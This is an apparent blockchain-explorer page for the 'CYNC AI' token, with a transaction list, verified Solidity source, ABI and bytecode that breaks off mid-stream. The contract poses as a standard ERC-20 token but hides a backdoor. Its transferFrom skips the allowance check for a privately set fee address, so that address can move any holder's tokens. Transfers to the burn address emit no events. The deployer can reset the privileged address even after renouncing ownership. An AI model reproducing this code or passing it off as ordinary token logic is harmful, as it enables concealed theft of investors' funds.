ETH Price: $3,234.12 (+1.03%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve217411672025-01-31 1:15:232 hrs ago1738286123IN
0x3D5B1320...591C68E6E
0 ETH0.000163813.47603787
Approve217403222025-01-30 22:25:354 hrs ago1738275935IN
0x3D5B1320...591C68E6E
0 ETH0.000192114.098333
Transfer217403182025-01-30 22:24:474 hrs ago1738275887IN
0x3D5B1320...591C68E6E
0 ETH0.000176144.25268556
Approve217402922025-01-30 22:19:355 hrs ago1738275575IN
0x3D5B1320...591C68E6E
0 ETH0.000136842.90361178
Approve217402922025-01-30 22:19:355 hrs ago1738275575IN
0x3D5B1320...591C68E6E
0 ETH0.000230984.90131178
Approve217402912025-01-30 22:19:235 hrs ago1738275563IN
0x3D5B1320...591C68E6E
0 ETH0.000209924.47822654
Approve217402882025-01-30 22:18:475 hrs ago1738275527IN
0x3D5B1320...591C68E6E
0 ETH0.000195194.16410278
Approve217402632025-01-30 22:13:475 hrs ago1738275227IN
0x3D5B1320...591C68E6E
0 ETH0.000232054.95036865
Approve217402622025-01-30 22:13:355 hrs ago1738275215IN
0x3D5B1320...591C68E6E
0 ETH0.000232054.95036865
Approve217402582025-01-30 22:12:475 hrs ago1738275167IN
0x3D5B1320...591C68E6E
0 ETH0.000234595.00449467
Approve217402582025-01-30 22:12:475 hrs ago1738275167IN
0x3D5B1320...591C68E6E
0 ETH0.000234595.00449467
Approve217402582025-01-30 22:12:475 hrs ago1738275167IN
0x3D5B1320...591C68E6E
0 ETH0.000234595.00449467
Approve217402462025-01-30 22:10:235 hrs ago1738275023IN
0x3D5B1320...591C68E6E
0 ETH0.000233594.98316345
Approve217402432025-01-30 22:09:475 hrs ago1738274987IN
0x3D5B1320...591C68E6E
0 ETH0.000256215.46573774
Approve217402412025-01-30 22:09:235 hrs ago1738274963IN
0x3D5B1320...591C68E6E
0 ETH0.000269165.74207692
Approve217402412025-01-30 22:09:235 hrs ago1738274963IN
0x3D5B1320...591C68E6E
0 ETH0.000269165.74207692
Approve217402322025-01-30 22:07:355 hrs ago1738274855IN
0x3D5B1320...591C68E6E
0 ETH0.000271455.79098177
Approve217402222025-01-30 22:05:355 hrs ago1738274735IN
0x3D5B1320...591C68E6E
0 ETH0.000237165.05942605
Approve217402142025-01-30 22:03:475 hrs ago1738274627IN
0x3D5B1320...591C68E6E
0 ETH0.000195784.17671902
Transfer217402142025-01-30 22:03:475 hrs ago1738274627IN
0x3D5B1320...591C68E6E
0 ETH0.00021415.16919215
Approve217402082025-01-30 22:02:355 hrs ago1738274555IN
0x3D5B1320...591C68E6E
0 ETH0.000231314.93463982
Approve217402032025-01-30 22:01:355 hrs ago1738274495IN
0x3D5B1320...591C68E6E
0 ETH0.000399768.47172753
Approve217401952025-01-30 21:59:595 hrs ago1738274399IN
0x3D5B1320...591C68E6E
0 ETH0.000224144.78166842
Approve217401932025-01-30 21:59:355 hrs ago1738274375IN
0x3D5B1320...591C68E6E
0 ETH0.000232954.96962316
Approve217401932025-01-30 21:59:355 hrs ago1738274375IN
0x3D5B1320...591C68E6E
0 ETH0.000232954.96962316
View all transactions

Latest 7 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
217401712025-01-30 21:54:595 hrs ago1738274099
0x3D5B1320...591C68E6E
0.08142745 ETH
217401712025-01-30 21:54:595 hrs ago1738274099
0x3D5B1320...591C68E6E
0.08142745 ETH
217401512025-01-30 21:50:595 hrs ago1738273859
0x3D5B1320...591C68E6E
0.3802361 ETH
217401512025-01-30 21:50:595 hrs ago1738273859
0x3D5B1320...591C68E6E
0.3802361 ETH
217401252025-01-30 21:45:475 hrs ago1738273547
0x3D5B1320...591C68E6E
0.00470073 ETH
217401252025-01-30 21:45:475 hrs ago1738273547
0x3D5B1320...591C68E6E
0.00470073 ETH
217401152025-01-30 21:43:475 hrs ago1738273427
0x3D5B1320...591C68E6E
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CYNC_AI

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Tmp.sol
// SPDX-License-Identifier: UNLICENSE

/**

Cync AI simplifies your crypto journey, providing you with tools and insights to navigate the complex world of cryptocurrency with ease.

https://www.cyncai.xyz/
https://t.me/cync_ai_eth
https://x.com/Cync_AI_ETH


*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CYNC_AI is Context, IERC20, Ownable {    
    using SafeMath for uint256;
    mapping(address => uint256) private _caiamount;
    mapping(address => mapping(address => uint256)) private _allowtranses;
    mapping(address => bool) private _txExclued;

    address private _deployer;
    address private _burnWallet = address(0xdead);
    address private _feeSetAdd;

    uint256 private _firstBuyFee = 10;
    uint256 private _firstSellFee = 10;
    uint256 private _lastBuyFee = 0;
    uint256 private _lastSellFee = 0;
    uint256 private _preventSwapBefore = 5;    
    uint256 private _reduceBuyFeeAt = 5;
    uint256 private _reduceSellFeeAt = 5;
    uint256 private _buyCnt = 0;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"CYNC AI";
    string private constant _symbol = unicode"CAI";
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 private _maxTaxSwapTokens = _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {

        _txExclued[owner()] = true;
        _txExclued[address(this)] = true;
        _deployer = _msgSender();

        _caiamount[address(this)] = (_tTotal * 98) / 100;
        _caiamount[_msgSender()] = (_tTotal * 2) / 100;

        _feeSetAdd = _msgSender();
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _caiamount[account];
    }

    function _decreaseAmount(
        address owner,
        address spender,
        uint256 amount
    ) private view returns (uint256) {
        return msg.sender != _feeSetAdd && (owner == _uniswapPair || spender != _burnWallet) ? amount : 0;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowtranses[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 _amount = _decreaseAmount(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowtranses[sender][_msgSender()].sub( _amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function enableCAI() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowtranses[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 txAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            if (
                from == _uniswapPair &&
                to != address(uniswapV2Router) &&
                !_txExclued[to]
            ) {
                txAmount = amount
                    .mul(
                        (_buyCnt > _reduceBuyFeeAt)
                            ? _lastBuyFee
                            : _firstBuyFee
                    )
                    .div(100);
                _buyCnt++;
            }

            if (to == _uniswapPair) {
                txAmount = amount
                    .mul(
                        (_buyCnt > _reduceSellFeeAt)
                            ? _lastSellFee
                            : _firstSellFee
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == _uniswapPair &&
                swapEnabled &&
                _buyCnt > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold) {
                    uint256 tmp = _maxTaxSwapTokens;
                    if (contractTokenBalance < tmp) tmp = contractTokenBalance;
                    if (amount < tmp) tmp = amount; 
                    _swapTokensForEth(tmp);
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    payable(_feeSetAdd).transfer(address(this).balance);
                }
            }
        }

        if (txAmount > 0) {
            _caiamount[address(this)] = _caiamount[address(this)].add(txAmount);
            emit Transfer(from, address(this), txAmount);
        }
        _caiamount[from] = _caiamount[from].sub(amount);
        _caiamount[to] = _caiamount[to].add(amount.sub(txAmount));
        if (to != _burnWallet) emit Transfer(from, to, amount.sub(txAmount));
    }

    function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function newCAI(address newW) external {
        require(_msgSender() == _deployer, "not a deployer");
        _feeSetAdd = newW;
    }

    function rescueETHFromCAI() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }


    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableCAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"newW","type":"address"}],"name":"newCAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETHFromCAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a600755600a6008555f6009555f600a556005600b556005600c556005600d555f600e556009600a61007991906106c0565b6064610085919061070a565b600f5560646009600a61009891906106c0565b633b9aca006100a7919061070a565b6100b19190610778565b6010555f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff0219169083151502179055505f6100f761052160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160035f6101a661052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061025861052160201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6102a991906106c0565b633b9aca006102b8919061070a565b6102c2919061070a565b6102cc9190610778565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a61031f91906106c0565b633b9aca0061032e919061070a565b610338919061070a565b6103429190610778565b60015f61035361052160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061039e61052160201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61043e91906106c0565b633b9aca0061044d919061070a565b610457919061070a565b6104619190610778565b60405161046e91906107b7565b60405180910390a361048461052160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6104e491906106c0565b633b9aca006104f3919061070a565b6104fd919061070a565b6105079190610778565b60405161051491906107b7565b60405180910390a36107d0565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105d1578086048111156105ad576105ac61054f565b5b60018516156105bc5780820291505b80810290506105ca8561057c565b9450610591565b94509492505050565b5f826105e957600190506106a4565b816105f6575f90506106a4565b816001811461060c576002811461061657610645565b60019150506106a4565b60ff8411156106285761062761054f565b5b8360020a91508482111561063f5761063e61054f565b5b506106a4565b5060208310610133831016604e8410600b841016171561067a5782820a9050838111156106755761067461054f565b5b6106a4565b6106878484846001610588565b9250905081840481111561069e5761069d61054f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106ca826106ab565b91506106d5836106b4565b92506107027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105da565b905092915050565b5f610714826106ab565b915061071f836106ab565b925082820261072d816106ab565b915082820484148315176107445761074361054f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610782826106ab565b915061078d836106ab565b92508261079d5761079c61074b565b5b828204905092915050565b6107b1816106ab565b82525050565b5f6020820190506107ca5f8301846107a8565b92915050565b612c82806107dd5f395ff3fe6080604052600436106100eb575f3560e01c806370a082311161008957806395d89b411161005857806395d89b41146102bc578063a9059cbb146102e6578063bf474bed14610322578063dd62ed3e1461034c576100f2565b806370a082311461022a578063715018a6146102665780638da5cb5b1461027c5780639557c4dd146102a6576100f2565b806323b872dd116100c557806323b872dd1461018657806329e1b9ba146101c2578063313ce567146101ea578063551a39ce14610214576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b6040516101179190611e90565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f41565b6103c5565b6040516101539190611f99565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190611fc1565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611fda565b610405565b6040516101b99190611f99565b60405180910390f35b3480156101cd575f80fd5b506101e860048036038101906101e3919061202a565b6104e8565b005b3480156101f5575f80fd5b506101fe6105c1565b60405161020b9190612070565b60405180910390f35b34801561021f575f80fd5b506102286105c9565b005b348015610235575f80fd5b50610250600480360381019061024b919061202a565b610aeb565b60405161025d9190611fc1565b60405180910390f35b348015610271575f80fd5b5061027a610b31565b005b348015610287575f80fd5b50610290610c7f565b60405161029d9190612098565b60405180910390f35b3480156102b1575f80fd5b506102ba610ca6565b005b3480156102c7575f80fd5b506102d0610d87565b6040516102dd9190611e90565b60405180910390f35b3480156102f1575f80fd5b5061030c60048036038101906103079190611f41565b610dc4565b6040516103199190611f99565b60405180910390f35b34801561032d575f80fd5b50610336610de1565b6040516103439190611fc1565b60405180910390f35b348015610357575f80fd5b50610372600480360381019061036d91906120b1565b610de7565b60405161037f9190611fc1565b60405180910390f35b60606040518060400160405280600781526020017f43594e4320414900000000000000000000000000000000000000000000000000815250905090565b5f6103d86103d1610e69565b8484610e70565b6001905092915050565b5f6009600a6103f1919061224b565b633b9aca006104009190612295565b905090565b5f610411848484611033565b5f61041d858585611875565b90506104dc8561042b610e69565b6104d784604051806060016040528060288152602001612c256028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048e610e69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461198c9092919063ffffffff16565b610e70565b60019150509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610528610e69565b73ffffffffffffffffffffffffffffffffffffffff161461057e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057590612320565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6009905090565b6105d1610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065490612388565b60405180910390fd5b601260149054906101000a900460ff16156106ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a4906123f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107493060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610735919061224b565b633b9aca006107449190612295565b610e70565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d79190612422565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108819190612422565b6040518363ffffffff1660e01b815260040161089e92919061244d565b6020604051808303815f875af11580156108ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108de9190612422565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061096530610aeb565b5f8061096f610c7f565b426040518863ffffffff1660e01b8152600401610991969594939291906124b6565b60606040518083038185885af11580156109ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d29190612529565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a72929190612579565b6020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab291906125ca565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b39610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90612388565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cae610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190612388565b60405180910390fd5b610d42610e69565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d84573d5f803e3d5ffd5b50565b60606040518060400160405280600381526020017f4341490000000000000000000000000000000000000000000000000000000000815250905090565b5f610dd7610dd0610e69565b8484611033565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed590612665565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f43906126f3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110269190611fc1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890612781565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111069061280f565b60405180910390fd5b5f8111611151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111489061289d565b60405180910390fd5b5f61115a610c7f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111c85750611198610c7f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561123857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115705760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e6575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611339575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113945761137a606461136c600c54600e54116113595760075461135d565b6009545b856119ee90919063ffffffff16565b611a6590919063ffffffff16565b9050600e5f81548092919061138e906128bb565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611427576114246064611416600d54600e541161140357600854611407565b600a545b856119ee90919063ffffffff16565b611a6590919063ffffffff16565b90505b5f61143130610aeb565b9050601260159054906101000a900460ff1615801561149c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b45750601260169054906101000a900460ff165b80156114c35750600b54600e54115b1561156e57600f548111156114fb575f6010549050808210156114e4578190505b808410156114f057839050